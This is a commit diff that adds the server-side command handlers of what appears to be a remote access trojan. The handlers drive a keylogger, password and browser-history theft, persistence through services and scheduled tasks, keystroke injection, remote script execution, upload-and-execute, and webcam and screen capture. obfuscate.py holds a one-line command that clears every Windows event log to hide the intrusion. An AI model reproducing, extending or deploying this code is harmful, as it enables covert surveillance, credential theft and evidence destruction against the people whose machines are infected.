summaryrefslogtreecommitdiff
path: root/domestic/session/server_handling
diff options
context:
space:
mode:
Diffstat (limited to 'domestic/session/server_handling')
-rw-r--r--domestic/session/server_handling/cd.py8
-rw-r--r--domestic/session/server_handling/download.py35
-rw-r--r--domestic/session/server_handling/encrypt.py13
-rw-r--r--domestic/session/server_handling/image.py31
-rw-r--r--domestic/session/server_handling/interpreter.py35
-rw-r--r--domestic/session/server_handling/keylogger.py43
-rw-r--r--domestic/session/server_handling/keystroke.py23
-rw-r--r--domestic/session/server_handling/messagebox.py25
-rw-r--r--domestic/session/server_handling/obfuscate.py15
-rw-r--r--domestic/session/server_handling/persistence.py23
-rw-r--r--domestic/session/server_handling/recover.py66
-rw-r--r--domestic/session/server_handling/system.py29
-rw-r--r--domestic/session/server_handling/upload.py36
-rw-r--r--domestic/session/server_handling/website.py8
14 files changed, 390 insertions, 0 deletions
diff --git a/domestic/session/server_handling/cd.py b/domestic/session/server_handling/cd.py
new file mode 100644
index 0000000..fe58ea7
--- /dev/null
+++ b/domestic/session/server_handling/cd.py
@@ -0,0 +1,8 @@
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def cd(message):
+ assert message['to']
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/download.py b/domestic/session/server_handling/download.py
new file mode 100644
index 0000000..a51e394
--- /dev/null
+++ b/domestic/session/server_handling/download.py
@@ -0,0 +1,35 @@
+import os
+
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.make.make_directories import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def download(message):
+ assert message['file']
+
+ filename = validate_dict_key(message, 'file')
+ execute = validate_dict_key(message, 'execute')
+
+ username = state['session']['username']
+ make_directories([username, f'{username}/downloads'])
+ root = f'{state["root"]}/{username}/downloads/{filename}'
+
+ message['max_file_size'] = state['settings']['max-file-size']
+ if execute:
+ del message['execute']
+
+ data = session_message(message, False, loading_text='downloading file...')
+ download = validate_dict_key(data, 'download', False)
+
+ if download:
+ with open(root, 'wb') as f:
+ f.write(download)
+
+ if execute:
+ os.startfile(root)
+
+ status_message(data['message'], data['text_mode']) \ No newline at end of file
diff --git a/domestic/session/server_handling/encrypt.py b/domestic/session/server_handling/encrypt.py
new file mode 100644
index 0000000..b5407ba
--- /dev/null
+++ b/domestic/session/server_handling/encrypt.py
@@ -0,0 +1,13 @@
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+def encrypt(message):
+ assert message['file']
+
+ decrypt = validate_dict_key(message, 'decrypt')
+
+ if decrypt is None:
+ message['decrypt'] = False
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/image.py b/domestic/session/server_handling/image.py
new file mode 100644
index 0000000..15719e0
--- /dev/null
+++ b/domestic/session/server_handling/image.py
@@ -0,0 +1,31 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def image(message):
+ monitor = validate_dict_key(message, 'monitor')
+ screenshot = validate_dict_key(message, 'screenshot')
+ cam = validate_dict_key(message, 'cam')
+
+ assert screenshot or cam
+
+ if monitor is None:
+ message['monitor'] = 0
+ else:
+ message['monitor'] = int(monitor)
+
+ if screenshot:
+ message['image_type'] = True
+ del message['screenshot']
+ image_type = 'screenshot'
+ else:
+ message['image_type'] = False
+ del message['cam']
+ image_type = 'cam-screenshot'
+
+ data = session_message(message, False)
+
+ if data['screenshot']:
+ make_image(['image', f'image/{image_type}'], data['screenshot'], success_message=data['message'], image_type=message['image_type']) \ No newline at end of file
diff --git a/domestic/session/server_handling/interpreter.py b/domestic/session/server_handling/interpreter.py
new file mode 100644
index 0000000..0c403e4
--- /dev/null
+++ b/domestic/session/server_handling/interpreter.py
@@ -0,0 +1,35 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def interpreter(message):
+ execute = validate_dict_key(message, 'execute')
+ script = validate_dict_key(message, 'script')
+ quiet = validate_dict_key(message, 'quiet')
+
+ assert execute or script
+
+ if script:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = state['settings']['folders']['child'][1]
+ message['execute'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding'])
+ del message['script']
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+ result = validate_dict_key(data, 'result')
+
+ if result:
+ if quiet is None:
+ status_message(data['result'], 'pure', {'end': True})
+ print()
+ make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message'])
+ else:
+ status_message(data['message'], data['text_mode']) \ No newline at end of file
diff --git a/domestic/session/server_handling/keylogger.py b/domestic/session/server_handling/keylogger.py
new file mode 100644
index 0000000..366aaac
--- /dev/null
+++ b/domestic/session/server_handling/keylogger.py
@@ -0,0 +1,43 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.make.make_file import *
+
+
+@error_exception_handling
+def keylogger(message):
+ run = validate_dict_key(message, 'run')
+ download = validate_dict_key(message, 'download')
+ close = validate_dict_key(message, 'close')
+ status = validate_dict_key(message, 'status')
+ quiet = validate_dict_key(message, 'quiet')
+
+ if run:
+ message['action_type'] = 'run'
+ del message['run']
+ session_message(message)
+ elif download:
+ message['action_type'] = 'download'
+ del message['download']
+ data = session_message(message, False)
+
+ logs = validate_dict_key(data, 'logs')
+
+ if logs:
+ if quiet is None:
+ status_message(logs.decode(state['settings']['encoding']), 'raw')
+ print()
+ make_file(['keylogger'], 'txt', logs, data['message'])
+ else:
+ status_message(data['message'], data['text_mode'])
+ elif close:
+ message['action_type'] = 'close'
+ del message['close']
+ session_message(message)
+ elif status:
+ message['action_type'] = 'status'
+ del message['status']
+ session_message(message)
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/keystroke.py b/domestic/session/server_handling/keystroke.py
new file mode 100644
index 0000000..9f09540
--- /dev/null
+++ b/domestic/session/server_handling/keystroke.py
@@ -0,0 +1,23 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def keystroke(message):
+ inject = validate_dict_key(message, 'inject', False)
+ script = validate_dict_key(message, 'script', False)
+
+ if inject:
+ message['inject'] = inject.strip().split(';')
+ elif script:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = '{}/{}'.format(state['settings']['folders']['child'][1], state['settings']['folders']['child'][3])
+ message['inject'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']).strip().split('\r\n')
+ del message['script']
+ else:
+ raise Exception('Error message')
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/messagebox.py b/domestic/session/server_handling/messagebox.py
new file mode 100644
index 0000000..28b4ff5
--- /dev/null
+++ b/domestic/session/server_handling/messagebox.py
@@ -0,0 +1,25 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def messagebox(message):
+ title = validate_dict_key(message, 'title', False)
+ text = validate_dict_key(message, 'text', False)
+ style = validate_dict_key(message, 'style')
+
+ if title and text:
+ if style == 'info':
+ message['style'] = 64
+ elif style == 'cross':
+ message['style'] = 16
+ elif style == 'question':
+ message['style'] = 32
+ elif style == 'warning':
+ message['style'] = 48
+ else:
+ message['style'] = 64
+ session_message(message)
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/obfuscate.py b/domestic/session/server_handling/obfuscate.py
new file mode 100644
index 0000000..c3f5422
--- /dev/null
+++ b/domestic/session/server_handling/obfuscate.py
@@ -0,0 +1,15 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def obfuscate(message):
+ logs = validate_dict_key(message, 'logs')
+
+ if logs:
+ message['message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"'
+ del message['logs']
+ session_message(message)
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/persistence.py b/domestic/session/server_handling/persistence.py
new file mode 100644
index 0000000..f6ae6b5
--- /dev/null
+++ b/domestic/session/server_handling/persistence.py
@@ -0,0 +1,23 @@
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def persistence(message):
+ elevate = validate_dict_key(message, 'elevate')
+ service = validate_dict_key(message, 'service')
+ schedule = validate_dict_key(message, 'schedule')
+
+ if elevate:
+ message['action_type'] = 'elevate'
+ del message['elevate']
+ elif service:
+ message['action_type'] = 'service'
+ del message['service']
+ elif schedule:
+ message['action_type'] = 'schedule'
+ del message['schedule']
+ else:
+ raise Exception('Error message')
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/recover.py b/domestic/session/server_handling/recover.py
new file mode 100644
index 0000000..0c29c4c
--- /dev/null
+++ b/domestic/session/server_handling/recover.py
@@ -0,0 +1,66 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.make.make_history import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def recover(message):
+ password = validate_dict_key(message, 'password')
+ history = validate_dict_key(message, 'history')
+ quiet = validate_dict_key(message, 'quiet')
+ force = validate_dict_key(message, 'force')
+
+ if force is None:
+ message['force'] = False
+
+ if password:
+ del message['password']
+ message['action_type'] = 'password'
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+
+ if quiet is None:
+ text = [x for x in data['message'].split('\n') if x != '']
+ count = 0
+
+ for line in text:
+ if line[:3] == '[+]':
+ print()
+ status_message(line[4:], 'success', {'end': True, 'point': 'empty'})
+ elif line[:3] == '[-]':
+ print()
+ status_message(line[4:], 'danger', {'end': True, 'point': 'empty'})
+ elif line[:19] == '-------------------':
+ if count != 0: print()
+ count += 1
+ status_message(line, 'raw')
+ else:
+ status_message(line, 'raw')
+ print()
+
+ make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered')
+ elif history:
+ del message['history']
+ message['action_type'] = 'history'
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+
+ if quiet is None:
+ for browser, browser_data in data['message'].items():
+ browser = browser.capitalize()
+ for link, title, date in browser_data:
+ status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True})
+ print()
+
+ make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/system.py b/domestic/session/server_handling/system.py
new file mode 100644
index 0000000..f505dbf
--- /dev/null
+++ b/domestic/session/server_handling/system.py
@@ -0,0 +1,29 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def system(message):
+ shutdown = validate_dict_key(message, 'shutdown')
+ restart = validate_dict_key(message, 'restart')
+ logout = validate_dict_key(message, 'logout')
+ standby = validate_dict_key(message, 'standby')
+
+ if shutdown:
+ message['action_type'] = 'shutdown'
+ del message['shutdown']
+ elif restart:
+ message['action_type'] = 'restart'
+ del message['restart']
+ elif logout:
+ message['action_type'] = 'logout'
+ del message['logout']
+ elif standby:
+ message['action_type'] = 'standby'
+ del message['standby']
+ else:
+ raise Exception('Error message')
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/upload.py b/domestic/session/server_handling/upload.py
new file mode 100644
index 0000000..fe88f05
--- /dev/null
+++ b/domestic/session/server_handling/upload.py
@@ -0,0 +1,36 @@
+import os
+
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def upload(message):
+ filename = validate_dict_key(message, 'file', False)
+ url = validate_dict_key(message, 'url', False)
+ execute_on_upload = validate_dict_key(message, 'execute')
+
+ message['max_file_size'] = state['settings']['max-file-size']
+
+ if execute_on_upload is None:
+ message['execute'] = False
+ else:
+ message['execute'] = True
+
+ if filename:
+ root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}'
+
+ if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']:
+ status_message(f'File exceeding maximum size of {message["max_file_size"]}MB', 'danger')
+ return
+
+ message['from_url'], message['file_data'] = False, read_file(root)
+ elif url:
+ message['file'], message['from_url'], message['file_data'] = url, True, None
+ del message['url']
+ else:
+ raise Exception('Error message')
+
+ session_message(message, loading_text='uploading file...') \ No newline at end of file
diff --git a/domestic/session/server_handling/website.py b/domestic/session/server_handling/website.py
new file mode 100644
index 0000000..bac7138
--- /dev/null
+++ b/domestic/session/server_handling/website.py
@@ -0,0 +1,8 @@
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def website(message):
+ message['open'] = message['open'].split(',')
+ session_message(message) \ No newline at end of file